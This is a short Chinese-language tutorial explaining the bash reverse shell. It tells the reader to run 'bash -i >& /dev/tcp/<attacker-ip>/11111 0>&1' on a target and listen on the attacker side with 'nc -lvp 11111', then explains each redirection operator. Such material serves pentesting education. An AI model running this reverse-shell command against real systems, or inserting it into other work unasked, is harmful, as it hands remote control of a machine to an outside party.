场景
- IP变换
当靶机的IP地址时常变换时,无法知道靶机具体IP所以没办法连接webshell。
- 靶机在内网
当靶机在内网时,设置了防火墙安全策略等,外网无法访问靶机,靶机却可以访问外网。
原理
原理非常简单,当在以上两种场景时,无法直接连接到webshell时,可以换一种策略。让webshell主动连接自己,而不是自己连接webshell。此时,又会产生两个问题。 一webshell如何自动自我唤醒自动发送连接; 二如何监听webshell发送的连接;
bash反弹
bash反弹应该是最常用的shell反弹方式之一。在Linux中shell有很多,bash也是应用最多的shell。
代码语言:javascript复制bash -i >& /dev/tcp/192.168.1.1/11111 0>&1 //目标主机执行命令(192.168.1.1攻击主机地址)
nc -lvp 11111 //攻击主机监听11111端口
Bash
nc全称是netcat,是一款监听端口流量的工具。
bash -i
打开一个交互式的shell环境。
>&
重定向操作符。
> 输出重定向,覆盖原内容
>> 输出重定向,追加不覆盖原内容
< 输入重定向,覆盖原内容
<< 输入重定向,追加不覆盖原内容
>& 将符号前后内容结合重定向给后者
Linux中0代表输入,一般默认的输入是键盘;1代表输出,默认输出是bash界面;2代表错误日志输出,默认也是界面。
例如常用命令ls,(ls === ls 1>界面)(ls > test.txt === ls 1>test.txt)
再回来详解:bash -i >& /dev/tcp/192.168.1.1/11111 0>&1
/dev/tcp/192.168.1.1/11111 因为Linux中万物皆文件,所以可以使用/dev/tcp文件建立一个TCP连接,所以此命令就是向192.168.1.1的11111端口建立一个TCP连接。
bash -i >& /dev/tcp/192.168.1.1/11111 可以理解成 bash -i 1>& /dev/tcp/192.168.1.1/11111 既将交互shell和输出都重定向到192.168.1.1/11111。
0>&1 0是输入,1是输出,既将输入重定向到输出。输出已经重定向到192.168.1.1/11111,输入重定向到输出,既输入也重定向到192.168.1.1/11111。
bash -i >& /dev/tcp/192.168.1.1/11111 0>&1 所以这个命令就是将shell环境及其输入输出全部重定向到192.168.1.1/11111。
Other
经过上诉命令,则可以将shell反弹到本地主机,就像ssh远程连接目标主机一样,可以在本地输入shell命令且可以看到命令输出结果。 本地监听11111端口即可达成完整的shell反弹。
结语
shell反弹还有很多,比如python反弹,php反弹、nc反弹等等,实现方式不一样,但是原理都一样,可以自行了解。